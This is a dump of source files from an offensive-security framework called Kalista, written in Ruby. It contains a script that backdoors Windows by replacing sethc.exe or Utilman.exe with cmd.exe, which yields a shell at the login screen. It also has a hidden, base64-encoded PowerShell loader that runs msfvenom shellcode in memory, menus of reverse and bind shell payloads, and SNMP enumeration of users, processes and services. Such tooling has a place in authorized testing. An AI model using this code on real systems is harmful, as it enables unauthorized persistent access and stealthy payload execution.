145 | "rename #{path}cmd3.exe Utilman.exe" ]
146 |
147 | sethc_cleanup = [ "takeown /f #{path}sethc.exe",
148 | "icacls #{path}sethc.exe /grant administrators:f",
149 | "takeown /f #{path}sethc.exe.bak",
150 | "icacls #{path}sethc.exe.bak /grant Administrators:f",
151 | "del #{path}sethc.exe",
152 | "rename #{path}sethc.exe.bak sethc.exe" ]
153 |
154 | utilman_cleanup = [ "takeown /f #{path}Utilman.exe",
155 | "icacls #{path}Utilman.exe /grant administrators:f",
156 | "takeown /f #{path}utilman.exe.bak",
157 | "icacls #{path}utilman.exe.bak /grant Administrators:f",
158 | "del #{path}Utilman.exe",
159 | "rename #{path}Utilman.exe.bak Utilman.exe" ]
160 |
161 | #Check if we running in cleanup mode or backdoor mode, act accordingly
162 | if remove.to_i > 0
163 | print_status("Starting the Swaparoo cleanup process.....")
164 | #Check if using Utilman method or standard Sethc method
165 | if targetexe.to_i > 0
166 | list_exec(session, utilman_cleanup)
167 | else
168 | list_exec(session, sethc_cleanup)
169 | end
170 | else
171 | #Check for signs of previous backdooring, if so this can overwrite the backup file which means you can't cleanup afterwards! Bail out if found as a result and have user remove, rename, or run cleanup to make it ok.....
172 | print_status("Starting the Swaparoo backdooring process.....")
173 | if targetexe.to_i > 0
174 | if session.fs.file.exists?("#{path}utilman.exe.bak")
175 | print_error("Target appears to have already been backdoored!")
176 | print_error("Delete or rename the backup file (sethc.exe.bak or utilman.exe.bak) manually or run the -r option for running cleanup tasks.....")
177 | raise Rex::Script::Completed
178 | else
179 | list_exec(session, utilman)
180 | end
181 | else
182 | if session.fs.file.exists?("#{path}sethc.exe.bak")
183 | print_error("Target appears to have already been backdoored!")
184 | print_error("Delete or rename the backup file (sethc.exe.bak or utilman.exe.bak) manually or run the -r option for running cleanup tasks.....")
185 | raise Rex::Script::Completed
186 | else
187 | list_exec(session, sethc)
188 | end
189 | end
190 | end
191 | print_status("Finished Swaparoo!")
192 | if remove.to_i > 0
193 | print_good("System should be restored back to normal!")
194 | else
195 | if targetexe.to_i > 0
196 | print_good("Press the Windows key + U or Click on the Blue Help icon at lower left on Login Screen and you should be greeted by a shell!")
197 | else
198 | print_good("Press Shift key 5 times at Login Screen and you should be greeted by a shell!")
199 | end
200 | end
201 |
--------------------------------------------------------------------------------
/core/core.rb:
--------------------------------------------------------------------------------
1 | #Our Core Shell housing just our core functions needed to keep the party going
2 | # See the libs and plugins directory for details on how things are broken out
3 | # Libs files should be for core functions shared throughout
4 | # plugins should be used for classes to house the specifics and functions/wrappers for various tools and what not
5 | #
6 | class CoreShell
7 | trap('INT', 'SIG_IGN') #Trap interupts and force user to exit via core_shell menu option! Prevents errors with readline...
8 |
9 | def initialize
10 | #Load up any lib files found in the ./lib/ dir so available in core from start
11 | $libs=[]
12 | Dir.glob("#{HOME}/core/*.rb").each do |core|
13 | require "#{core}"
14 | $libs << "#{core}"
15 | end
16 |
17 | #Load all of the found plugins from /plugions/ dir so we can offer as options to use for loading later.....
18 | $modules=[]
19 | Dir.glob("#{HOME}/classes/*.rb").each do |classes|
20 | require "#{classes}"
21 | $modules << "#{classes}"
22 | end
23 |
24 | #Initialize a results directory if one does not exist
25 | $results="#{Dir.pwd}/results/"
26 | Dir.mkdir($results) unless File.exists?($results)
27 |
28 | #Initialize a results directory if one does not exist
29 | $temp="#{Dir.pwd}/classes/temp/"
30 | Dir.mkdir($temp) unless File.exists?($temp)
31 | end
32 |
33 | #Clear Terminal
34 | def cls
35 | system('clear')
36 | end
37 |
38 | #Simple Banner
39 | def banner
40 | print_line("")
41 | puts " _|_| _| _| _| ".light_green
42 | puts "_| _| _|_|_| _|_| _|_|_| _| _| _| _|_| _|_| ".light_green
43 | puts "_| _| _| _| _|_|_|_| _| _| _| _| _| _| _|_| _|_|_|_| ".light_green
44 | puts "_| _| _| _| _| _| _| _| _| _| _| _| _| ".light_green
45 | puts " _|_| _|_|_| _|_|_| _| _| _| _| _| _| _|_|_| ".light_green
46 | puts " _| ".light_green
47 | puts " _| ".light_green
48 | puts " OpenWire Project Kalista, v0.1-aplha ".light_red
49 | print_line("")
50 | end
51 |
52 | #Main Menu Help Options
53 | def show_usage
54 | puts "List of commands and description of usage".light_yellow + ": ".white
55 | puts "\tclear".light_yellow + " => ".white + "Clear Screen".light_yellow
56 | puts "\texit".light_yellow + " => ".white + "Exit Completely".light_yellow
57 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow
58 | print_line("")
59 | puts "\trecon".light_yellow + " => ".white + "Recon & Discovery Shell".light_yellow
60 | puts "\tlogin".light_yellow + " => ".white + "Logins & Bruteforcers Shell".light_yellow
61 | puts "\tpayload".light_yellow + " => ".white + "Payloads Builder Shell".light_yellow
62 | puts "\tlistener".light_yellow + " => ".white + "Listener & Connection Handler Setup".light_yellow
63 | puts "\tsnmp".light_yellow + " => ".white + "Windows SNMP Enumation Tools".light_yellow
64 | puts "\tsmb".light_yellow + " => ".white + "SMB Tools".light_yellow
65 | puts "\texploit".light_yellow + " => ".white + "Exploits Shell".light_yellow
66 | puts "\twifi".light_yellow + " => ".white + "WiFi Shell".light_yellow
67 | puts "\tmitm".light_yellow + " => ".white + "MiTM Shell".light_yellow
68 | puts "\tupdate ".light_yellow + " => ".white + "Updater".light_yellow
69 | print_line("")
70 | puts "\tlocal".light_yellow + " => ".white + "Local OS Shell".light_yellow
71 | puts "\trb ".light_yellow + " => ".white + "Evaluates Ruby Code".light_yellow
72 | print_line("")
73 | end
74 |
75 | #Core/Main Menu
76 | def core_shell
77 | #Use readline module to keep history of commands while in sudo shell
78 | prompt = "(Kalista)> "
79 | while line = Readline.readline("#{prompt}", true)
80 | cmd = line.chomp
81 | case cmd
82 | when /^clear|^cls|^banner/i
83 | cls
84 | banner
85 | core_shell
86 | when /^help|^h$|^ls$/i
87 | show_usage
88 | core_shell
89 | when /^exit|^quit/i
90 | print_line("")
91 | print_error("OK, exiting Kalista....")
92 | print_line("")
93 | exit 69;
94 | when /^recon|^discover/i
95 | recon_shell
96 | puts
97 | core_shell
98 | when /^brute|^login|^creds/i
99 | logins_shell
100 | print_line("")
101 | core_shell
102 | when /^build|^payload/i
103 | payloads_shell
104 | print_line("")
105 | core_shell
106 | when /^listen/i
107 | cls
108 | banner
109 | listener_shell
110 | print_line("")
111 | core_shell
112 | when /^exploit|^x$/i
113 | exploits_shell
114 | print_line("")
115 | core_shell
116 | when /^smbfun|^smb/i
117 | smbfun_shell
118 | print_line("")
119 | core_shell
120 | when /^wifi|^x$/i
121 | wifi_shell
122 | print_line("")
123 | core_shell
124 | when /^mitm|^middle|^x$/i
125 | mitm_shell
126 | print_line("")
127 | core_shell
128 | when /^snmp/i
129 | snmp_shell
130 | print_line("")
131 | core_shell
132 | when /^update/i
133 | updates_shell
134 | print_line("")
135 | core_shell
136 | when /^rb (.+)/i
137 | code=$1.chomp
138 | rubyme("#{code}")
139 | print_line("")
140 | core_shell
141 | when /^local/i
142 | local_shell
143 | print_line("")
144 | core_shell
145 | else
146 | cls
147 | print_line("")
148 | print_error("Oops, Didn't quite understand that one")
149 | print_error("Please Choose a Valid Option From Menu Below Next Time.....")
150 | print_line("")
151 | show_usage
152 | core_shell
153 | end
154 | end
155 | end
156 |
157 | #Recon & Discovery Menu
158 | def recon_shell
159 | if not $recon
160 | $recon = Recon.new
161 | end
162 | $recon.r_shell
163 | end
164 |
165 | #Login & Bruteforcer Menu
166 | def logins_shell
167 | if not $logins
168 | $logins = LoginBrute.new
169 | end
170 | $logins.l_shell
171 | end
172 |
173 | #Payload Builder Menu
174 | def payloads_shell
175 | if not $payloads
176 | $payloads = PayloadBuilder.new
177 | end
178 | $payloads.p_shell
179 | end
180 |
181 | #Listener Setup
182 | def listener_shell
183 | if not $listener
184 | $listener = Listener.new
185 | end
186 | $listener.listener_builder
187 | end
188 |
189 | #Common SMB Fun Made Easy
190 | def smbfun_shell
191 | if not $smbfun
192 | $smbfun = SMBWrap.new
193 | end
194 | $smbfun.s_shell
195 | end
196 |
197 | #Common Exploit Made Easy
198 | def exploits_shell
199 | if not $exploit
200 | $exploit = Exploit.new
201 | end
202 | $exploit.e_shell
203 | end
204 |
205 | #WiFi Attacks I am able to code :p
206 | def wifi_shell
207 | if not $wifi
208 | $wifi = WiFiSploit.new
209 | end
210 | $wifi.w_shell
211 | end
212 |
213 | #MiTM LAN Attacks I can code up :p
214 | def mitm_shell
215 | if not $mitm
216 | $mitm = TMiddler.new
217 | end
218 | $mitm.m_shell
219 | end
220 |
221 | # SNMP Recon, Enumeration, and Attacks
222 | def snmp_shell
223 | if not $snmp
224 | $snmp = SNMPShell.new
225 | end
226 | $snmp.snmp_shell
227 | end
228 |
229 | #Updates Shell Menu
230 | def updates_shell
231 | if not $updater
232 | $updater = Updater.new
233 | end
234 | $updater.u_shell
235 | end
236 |
237 | #Local OS Command Shell for on the fly shit.....
238 | def local_shell
239 | cls
240 | banner
241 | prompt = "(localOS)> "
242 | while line = Readline.readline("#{prompt}", true)
243 | cmd = line.chomp
244 | case cmd
245 | when /^exit$|^quit$|^back$/i
246 | print_error("OK, Returning to Main Menu....")
247 | break
248 | else
249 | begin
250 | rez = `#{cmd}` #Run command passed
251 | puts "#{rez}".cyan #print results nicely for user....
252 | rescue Errno::ENOENT => e
253 | print_error("#{e}")
254 | rescue => e
255 | print_caution("#{e}")
256 | end
257 | end
258 | end
259 | end
260 |
261 | #Ruby Eval() Console for testing ruby shit on the fly.....
262 | def rubyme(code)
263 | begin
264 | print_line("#{eval("#{code}")}")
265 | rescue NoMethodError => e
266 | print_error("#{e}")
267 | rescue NameError => e
268 | print_error("#{e}")
269 | rescue SyntaxError => e
270 | print_error("#{e}")
271 | rescue TypeError => e
272 | print_error("#{e}")
273 | end
274 | end
275 | end
276 |
--------------------------------------------------------------------------------
/core/snmp_stalker.rb:
--------------------------------------------------------------------------------
1 | # This is a wrapper class for the SNMP Pure Ruby Implementation (gem install snmp)
2 | # It simple extends the underlying gem to make methods available in simpler manner
3 | # for me anyways.....
4 | # Leaving separate and you can call from the snmp.rb class script as needed
5 |
6 | class SNMPStalker
7 | def initialize(host,port,string)
8 | @host = host
9 | @port = port
10 | @string = string
11 | @manager = SNMP::Manager.new(:Host => host, :Port => port, :Community => string)
12 | end
13 |
14 | #Convert OID 2 Symbolic Name
15 | def oid2name(oid)
16 | name = @manager.mib.name(oid)
17 | t = [['OID', 'Symbolic Name'], ["#{oid}", "#{name}"]]
18 | table = t.to_table(:first_row_is_head => true)
19 | puts table.to_s
20 | end
21 |
22 | #Convert Name to OID
23 | def name2oid(name)
24 | oid = @manager.mib.oid(name)
25 | t = [['OID', 'Symbolic Name'], ["#{oid}", "#{name}"]]
26 | table = t.to_table(:first_row_is_head => true)
27 | puts table.to_s
28 | end
29 |
30 | # Walk the target OID or OID Symbolic Name tree if available....
31 | # Nice if you need something random perhaps
32 | def walk(oidorname)
33 | print_status("Trying to Walk the '#{oidorname}' tree......")
34 | @manager.walk("#{oidorname}") { |x| print_good("#{x}") }
35 | end
36 |
37 | # SET value for specified OID with given string
38 | # ex: set("1.3.6.1.2.1.1.5.0", "FooFucked") # => would change device system name value to string 'FooFucked'
39 | def set(oid, string)
40 | print_status("Trying to SET value of '#{oid}' to '#{string}'......")
41 | old = @manager.get_value(oid)
42 | print_status("Current Value: #{old}")
43 | varbind = VarBind.new(oid, OctetString.new(string))
44 | @manager.set(varbind)
45 | new = @manager.get_value(oid)
46 | print_status("Updated Value: #{new}")
47 | end
48 |
49 | #Confirm credentials are working
50 | def can_we_connect
51 | begin
52 | @sys_time = @manager.get_value("sysUpTime.0")
53 | rescue SNMP::RequestTimeout => e
54 | print_error("#{e}")
55 | print_error("Can't connect using '#{@string.chomp}'!")
56 | $fail=1
57 | end
58 | end
59 |
60 | # Enumerate some basic info about the target
61 | def basic_info
62 | #Grab some basic info using OID values which should be fairly generic in nature
63 | target = "#{@manager.config[:host]}:#{@manager.config[:port]}"
64 | cstring = @manager.config[:community]
65 | @snmp_version = @manager.config[:version] #We need this one later for some decisions so setting to class var
66 | sys_name = @manager.get_value("sysName.0")
67 | sys_descr = @manager.get_value("sysDescr.0")
68 |
69 | #Print out our basic info for user
70 | puts "[*] ".light_green + "Target".light_yellow + ": #{target}".white
71 | puts "[*] ".light_green + "Community String".light_yellow + ": #{cstring}".white
72 | if @snmp_version
73 | puts "[*] ".light_green + "SNMP Version".light_yellow + ": #{@snmp_version}".white
74 | else
75 | print_caution("Unable to determine SNMP Version in use?")
76 | end
77 | if sys_name
78 | puts "[*] ".light_green + "System Name".light_yellow + ": #{sys_name}".white
79 | else
80 | print_error("Unable to determine system name!")
81 | end
82 | if sys_descr
83 | puts "[*] ".light_green + "System Description".light_yellow + ": \n#{sys_descr}".white
84 | else
85 | print_error("Unable to find system description!")
86 | end
87 | if @sys_time
88 | puts "[*] ".light_green + "System Uptime".light_yellow + ": #{@sys_time}".white
89 | else
90 | print_error("Unable to find system description!")
91 | end
92 | end
93 |
94 | # Walk the "SNMPv2-SMI::enterprises.77.1.2.25" or "1.3.6.1.4.1.77.1.2.25" tree
95 | # This will disclose the existing Windows Usernames for valid accounts on box
96 | def users_walk
97 | print_status('Enumerating Usernames.....')
98 | users=[['Usernames']]
99 | @manager.walk('enterprises.77.1.2.25') { |x| users << ["#{x.value}"] }
100 | if users.empty?
101 | print_error("No Values Found!")
102 | else
103 | print_good("#{users.size} Usernames Found!")
104 | table = users.to_table(:first_row_is_head => true)
105 | puts table.to_s
106 | end
107 | end
108 |
109 | # Walk the 'SNMPv2-SMI::mib-2.25.6.3.1.2' or '1.3.6.1.2.1.25.6.3.1.2' tree
110 | # This will disclose the currently installed software on system
111 | def sw_walk
112 | print_status('Enumerating Installed Software.....')
113 | sw=[['Installed Software']]
114 | @manager.walk('mib-2.25.6.3.1.2') { |x| sw << ["#{x.value}"] }
115 | if sw.empty?
116 | print_error("No Values Found!")
117 | else
118 | table = sw.to_table(:first_row_is_head => true)
119 | puts table.to_s
120 | end
121 | end
122 | # Enumerate Running Services (Windows)
123 | # Walk the 'SNMPv2-SMI::enterprises.77.1.2.3.1.1' or '1.3.6.1.4.1.77.1.2.3.1.1' tree
124 | # This will disclose the currently running windows services
125 | def services_walk
126 | print_status('Enumerating Running Services.....')
127 | services=[['Running Services']]
128 | @manager.walk('enterprises.77.1.2.3.1.1') { |x| services << ["#{x.value}"] }
129 | if services.empty?
130 | print_error("No Values Found!")
131 | else
132 | table = services.to_table(:first_row_is_head => true)
133 | puts table.to_s
134 | end
135 | end
136 |
137 | # Enumerate the Currently Running Processes
138 | # Process Name, PID, and PATH returned
139 | # PROCESS: Symbolic Name: mib-2.25.4.2.1.2 or OID: 1.3.6.1.2.1.25.4.2.1.2
140 | # PID: Symbolic Name: mib-2.25.4.2.1.1 or OID: 1.3.6.1.2.1.25.4.2.1.1
141 | # PATH: Symbolic Name: mib-2.25.4.2.1.4 or OID: 1.3.6.1.2.1.25.4.2.1.4
142 | def process_walk
143 | print_status('Enumerating Running Process.....')
144 | psz=[] #process name
145 | @manager.walk('mib-2.25.4.2.1.2') { |x| psz << x.value }
146 | if psz.empty?
147 | print_error("No Values Found!")
148 | else
149 | ps_present = [['PID', 'Process', 'Path']]
150 | pidz=[] #PID valud
151 | @manager.walk('mib-2.25.4.2.1.1') { |x| pidz << x.value }
152 |
153 | pathz=[] #Path of process
154 | @manager.walk('mib-2.25.4.2.1.4') do |path|
155 | if path.value.chomp != '' and not path.nil?
156 | pathz << path.value
157 | else
158 | pathz << " - "
159 | end
160 | end
161 | count=0
162 | while count.to_i < psz.size
163 | ps_present << [[ "#{pidz[count]}", "#{psz[count]}", "#{pathz[count]}" ]]
164 | count = count.to_i + 1
165 | end
166 |
167 | table = ps_present.to_table(:first_row_is_head => true)
168 | puts table.to_s
169 | end
170 | end
171 |
172 | # Enumerate Listening and Open TCP Ports (a.k.a. Netstat Output)
173 | # Walk the tcpConnState or 1.3.6.1.2.1.6.13.1.1 oid names (not values)
174 | # Results needs some formatting to make like netstat....
175 | def netstat_tcp
176 | tcp=[]
177 | print_status('Enumerating Open TCP Ports.....')
178 | @manager.walk('tcpConnState') {|x| tcp << x.to_s.split(", ")[0].sub('[name=TCP-MIB::tcpConnState.', '') }
179 | if not tcp.empty?
180 | puts "[*] ".light_green + "OPEN TCP PORTS".light_yellow + ": ".white
181 | tcp.each do |entry|
182 | if entry =~ /(\d+.\d+.\d+.\d+).(\d+).(\d+.\d+.\d+.\d+).(\d+)/ or entry =~ /(\d+.\d+.\d+.\d+).(\d+)/
183 | ip=$1
184 | port=$2
185 | ip2=$3
186 | port2=$4
187 | print_good("#{ip}:#{port}")
188 | if ip2 and port2
189 | print_good("#{ip2}:#{port2}")
190 | end
191 | else
192 | print_good("#{entry}")
193 | end
194 | end
195 | else
196 | print_error("No Values Found!")
197 | end
198 | end
199 |
200 | # Enumerate Listening and Open UDP Ports (a.k.a. Netstat Output)
201 | # Walk the udpLocalAddress or 1.3.6.1.2.1.7.5.1.1 oid names (not values)
202 | # Results needs some formatting to make like netstat....
203 | def netstat_udp
204 | udp=[]
205 | print_status('Enumerating Open UDP Ports.....')
206 | @manager.walk('udpLocalAddress') {|x| udp << x.to_s.split(", ")[0].sub('[name=UDP-MIB::udpLocalAddress.', '') }
207 | if not udp.empty?
208 | puts "[*] ".light_green + "OPEN UDP PORTS".light_yellow + ": ".white
209 | udp.each do |entry|
210 | if entry =~ /(\d+.\d+.\d+.\d+).(\d+)/
211 | ip=$1
212 | port=$2
213 | print_good("#{ip}:#{port}")
214 | else
215 | print_good("#{entry}")
216 | end
217 | end
218 | else
219 | print_error("No Values Found!")
220 | end
221 | end
222 |
223 | # Dump the 'MGMT' OID
224 | # Discloses most everything it has stored....
225 | # Nice if you need something random perhaps
226 | def dump
227 | print_status("Dumping a bunch of info from the 'mgmt' OID......")
228 | dumpz=[]
229 | @manager.walk('mgmt') { |x| dumpz << x }
230 | if dumpz.empty?
231 | print_error("No Values Found!")
232 | else
233 | puts "[*] ".light_green + "SNMP MGMT Dump".light_yellow + ": ".white
234 | dumpz.each do |entry|
235 | print_good("#{entry}")
236 | end
237 | end
238 | end
239 |
240 | # Close the SNMP Connection cleanly
241 | def close
242 | @manager.close
243 | end
244 | end
245 |
246 | #Helpful Print Status Function
247 | def print_status(string)
248 | puts "[*] ".light_blue + "#{string}".white
249 | end
250 |
251 | #Cautionary Print Status Function
252 | def print_caution(string)
253 | puts "[*] ".light_yellow + "#{string}".white
254 | end
255 |
256 | #Helpful Print Good or Positive Results
257 | def print_good(string)
258 | puts "[*] ".light_green + "#{string}".white
259 | end
260 |
261 | #Helpful Print Error or Negative/False Results
262 | def print_error(string)
263 | puts "[*] ".light_red + "#{string}".white
264 | end
265 |
266 | # Print Line
267 | def print_line(string)
268 | puts "#{string}".white
269 | end
270 |
--------------------------------------------------------------------------------
/core/support.rb:
--------------------------------------------------------------------------------
1 | # SUpport Functions for use throughout the Kalista framework
2 | # Just keeps things clean and easier to manage having separate from core
3 | # imo.....add what you like, how you like
4 |
5 | # Generate a random aplha string length of value of num
6 | def randz(num)
7 | (0...num).map{ ('a'..'z').to_a[rand(26)] }.join
8 | end
9 |
10 | #Simple Print Line
11 | def print_line(string)
12 | print "#{string}\n".white
13 | end
14 |
15 | #Simple Status Indiicator
16 | def print_status(string)
17 | print "[*]".light_green + " #{string}\n".white
18 | end
19 |
20 | #Simple Caution Status Indiicator
21 | def print_caution(string)
22 | print "[*]".light_yellow + " #{string}\n".white
23 | end
24 |
25 |
26 | #Error Message
27 | def print_error(string)
28 | print "[*]".light_red + " #{string}\n".white
29 | end
30 |
31 | # Execute commands safely, result is returned as an array
32 | def commandz(foo)
33 | bar = IO.popen("#{foo}")
34 | foobar = bar.readlines
35 | return foobar
36 | end
37 |
38 | #Execute commands in separate process in standalone X-window :)
39 | def fireNforget(command)
40 | #Spawn our connection in a separate terminal cause its nicer that way!!!!!
41 | pid = Process.fork
42 | if pid.nil?
43 | # In child
44 | sleep(1) #dramatic pause :p
45 | exec "#{command}" #This can now run in its own process thread and we dont have to wait for it
46 | else
47 | # In parent, detach the child process
48 | Process.detach(pid)
49 | end
50 | end
51 |
52 | #Small function to help select the actual payload to use from MSF
53 | # Call this function with the mode number set to define which payloads will be displayed for user choosing
54 | # 1=Listerner Mode, 2-Exploit Mode, 3=Payload Builder
55 | def payload_selector(mode)
56 |
57 | winblowz = { '1' => 'windows/meterpreter/reverse_tcp', '2' => 'windows/x64/meterpreter/reverse_tcp', '3' => 'windows/shell/reverse_tcp', '4' => 'windows/x64/shell/reverse_tcp', '5' => 'windows/vncinject/reverse_tcp', '6' => 'windows/x64/vncinject/reverse_tcp', '7' => 'windows/dllinject/reverse_tcp', '8' => 'windows/dllinject/reverse_http', '9' => 'windows/shell/reverse_http', '10' => 'windows/meterpreter/reverse_http', '11' => 'windows/meterpreter/reverse_https', '12' => 'cmd/windows/reverse_perl', '13' => 'cmd/windows/reverse_ruby', '14' => 'generic/windows/reverse_shell', '15' => 'generic/reverse_shell' }
58 |
59 | tux = { '1' => 'linux/x86/meterpreter/reverse_tcp', '2' => 'linux/x64/shell/reverse_tcp', '3' => 'linux/x86/shell/reverse_tcp', '4' => 'linux/x64/shell_reverse_tcp', '5' => 'linux/x86/shell_reverse_tcp', '6' => 'aix/ppc/shell_reverse_tcp', '7' => 'bsd/sparc/shell_reverse_tcp', '8' => 'bsd/x86/shell/reverse_tcp', '9' => 'solaris/x86/shell_reverse_tcp', '10' => 'solaris/sparc/shell_reverse_tcp', '11' => 'cmd/unix/reverse', '12' => 'cmd/unix/reverse_bash', '13' => 'cmd/unix/reverse_netcat', '14' => 'cmd/unix/reverse_perl', '15' => 'cmd/unix/reverse_python', '16' => 'cmd/unix/reverse_ruby', '17' => 'generic/shell_reverse_tcp', '18' => 'generic/reverse_shell' }
60 |
61 | genrev = { '1' => 'java/meterpreter/reverse_tcp', '2' => 'java/shell/reverse_tcp', '3' => 'java/shell_reverse_tcp', '4' => 'php/meterpreter/reverse_tcp', '5' => 'php/reverse_perl', '6' => 'php/reverse_php', '7' => 'php/shell_findsock', '8' => 'python/shell_reverse_tcp_ssl', '9' => 'ruby/shell_reverse_tcp', '10' => 'generic/reverse_shell' }
62 |
63 | binder = { '1' => 'windows/meterpreter/bind_tcp', '2' => 'windows/x64/meterpreter/bind_tcp', '3' => 'windows/x64/shell/bind_tcp', '4' => 'windows/x64/shell/bind_tcp', '5' => 'linux/x86/meterpreter/bind_tcp', '6' => 'linux/x86/shell/bind_tcp', '7' => 'linux/x64/shell/bind_tcp', '8' => 'aix/ppc/shell_bind_tcp', '9' => 'bsd/x86/shell/bind_tcp', '10' => 'solaris/x86/shell_bind_tcp', '11' => 'solaris/sparc/shell_bind_tcp', '12' => 'java/shell/bind_tcp', '13' => 'java/meterpreter/bind_tcp', '14' => 'php/meterpreter/bind_tcp', '15' => 'generic/bind_shell' }
64 |
65 | while(true)
66 | print_caution("Select Type of Payload: ")
67 | print_caution("1) Bind Shell")
68 | print_caution("2) Reverse Shell")
69 | type=gets.chomp
70 | puts
71 | if type == '2' #REVERSE SHELL
72 | while(true)
73 | print_caution("Select the Payload Category: ")
74 | print_caution("1) Windows")
75 | print_caution("2) Linux")
76 | print_caution("3) OTHER")
77 | os=gets.chomp
78 | print_status("")
79 | print_caution("Select Payload: ")
80 | if os == '1'
81 | while(true)
82 | if mode.to_i == 1
83 | winblowz.each { |key,value| puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow }
84 | sizer=winblowz.size
85 | else
86 | winblowz.each { |key,value| (puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow) unless value == 'generic/reverse_shell' }
87 | sizer=winblowz.size - 1
88 | end
89 | answer=gets.chomp
90 | puts
91 | if answer.to_i == 0 or answer.to_i > sizer.to_i
92 | print_error("")
93 | print_error("Please Enter a Valid Option!")
94 | print_error("")
95 | else
96 | payload = winblowz[answer]
97 | break
98 | end
99 | end
100 | break
101 | elsif os =='2'
102 | while(true)
103 | if mode.to_i == 1
104 | tux.each { |key,value| puts (key.to_i < 10) ? "#{key}) #{value}" : "#{key}) #{value}" }
105 | sizer=tux.size
106 | else
107 | tux.each { |key,value| (puts (key.to_i < 10) ? "#{key}) #{value}" : "#{key}) #{value}") unless value == 'generic/reverse_shell' }
108 | sizer=tux.size - 1
109 | end
110 | answer=gets.chomp
111 | puts
112 | if answer.to_i == 0 or answer.to_i > sizer.to_i
113 | print_error("")
114 | print_error("Please Enter a Valid Option!")
115 | print_error("")
116 | else
117 | payload = tux[answer]
118 | break
119 | end
120 | end
121 | break
122 | elsif os == '3'
123 | while(true)
124 | if mode.to_i == 1
125 | genrev.each { |key,value| puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow }
126 | sizer=genrev.size
127 | else
128 | genrev.each { |key,value| (puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow) unless value == 'generic/reverse_shell' }
129 | sizer=genrev.size - 1
130 | end
131 | answer=gets.chomp
132 | puts
133 | if answer.to_i == 0 or answer.to_i > sizer.to_i
134 | print_error("")
135 | print_error("Please Enter a Valid Option!")
136 | print_error("")
137 | else
138 | payload = genrev[answer]
139 | break
140 | end
141 | end
142 | break
143 | end
144 | end
145 | break
146 | elsif type == '1' #BIND SHELL
147 | while(true)
148 | print_caution("Select Payload: ")
149 | if mode.to_i == 1
150 | binder.each { |key,value| puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow }
151 | sizer=binder.size
152 | else
153 | binder.each { |key,value| (puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow) unless value == 'generic/bind_shell' }
154 | sizer=binder.size - 1
155 | end
156 | answer=gets.chomp
157 | print_status("")
158 | if answer.to_i == 0 or answer.to_i > sizer.to_i
159 | print_error("")
160 | print_error("Please Enter a Valid Option!")
161 | print_error("")
162 | else
163 | payload = binder[answer]
164 | break
165 | end
166 | end
167 | break
168 | end
169 | end
170 | return payload
171 | end
172 |
173 | #Preps and Builds our PowerShell Command to run our payload in memory upon execution on target.....
174 | def powershell_builder(venomstring)
175 | # venomstring should be the arguments needed for msfvenom to build the base payload/shellcode ('-p LHOST= LPORT='
176 | shellcode="#{`#{MSFPATH}/msfvenom #{venomstring} -b \\x00`}".gsub(";", "").gsub(" ", "").gsub("+", "").gsub('"', "").gsub("\n", "").gsub('buf=','').strip.gsub('\\',',0').sub(',', '')
177 | # => yields a variable holding our escapped shellcode with ',' between each char.....
178 |
179 | print_status("Converting Base ShellCode to PowerShell friendly format.....")
180 | # Borrowed from one of several appearances across the many Python written scripts :p
181 | ps_base = "$code = '[DllImport(\"kernel32.dll\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\"kernel32.dll\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\"msvcrt.dll\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };"
182 | # => Our base PowerShell wrapper to get the job done now in var
183 |
184 | ps_base_cmd = ps_base.sub('%s', shellcode)
185 | # => place our shellcode in the Python placeholder :p
186 |
187 | #Prep it for final stages and put in funky ps format....
188 | ps_cmd_prepped=String.new
189 | ps_base_cmd.scan(/./) {|char| ps_cmd_prepped += char + "\x00" }
190 |
191 | # Base64 Encode our Payload so it is primed & ready for PowerShell usage
192 | stager = Base64.encode64("#{ps_cmd_prepped}")
193 |
194 | #The magic is now ready!
195 | ps_cmd = 'powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand ' + stager.gsub("\n", '')
196 | return ps_cmd
197 | end
198 |
199 | #Gnerate a MS5 Hash given string
200 | def md5(string)
201 | Digest::MD5.hexdigest(string)
202 | end
203 |
204 | #Gnerate a SHA1 Hash given string
205 | def sha1(string)
206 | OpenSSL::Digest::SHA1.hexdigest(string)
207 | end
208 |
--------------------------------------------------------------------------------
/installer.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | #
3 | # Kalista Dependency & Installation Helper
4 | # Assumes you already have Ruby and Git installed, tries to do the rest....
5 | # Trying to make it work on more than Kali....
6 | #
7 |
8 | # EDIT THIS TO WHERE YOU WANT SHIT INSTALLED
9 | ######################
10 | INSTALL='/root/fun/' #
11 | ######################
12 |
13 | #Trap any interupt signals for cleaner termination, add cleanup as needed....
14 | trap("SIGINT") { puts "\n\nWARNING! CTRL+C Detected, shutting down!"; exit 666 }
15 |
16 | # Execute commands safely, result is returned as array
17 | def commandz(foo)
18 | bar = IO.popen("#{foo}")
19 | foobar = bar.readlines
20 | return foobar
21 | end
22 |
23 | # Check dependencies by checking which tools are already installed and where
24 | # Returns an array with the name of each tool which still needs to be installed
25 | def check_depenencies
26 | check_installer
27 | check_git
28 | check_tools
29 | check_gems
30 | end
31 |
32 | #Check gems needed and return array of those needed
33 | def check_gems
34 | puts "Installing Ruby Gems....."
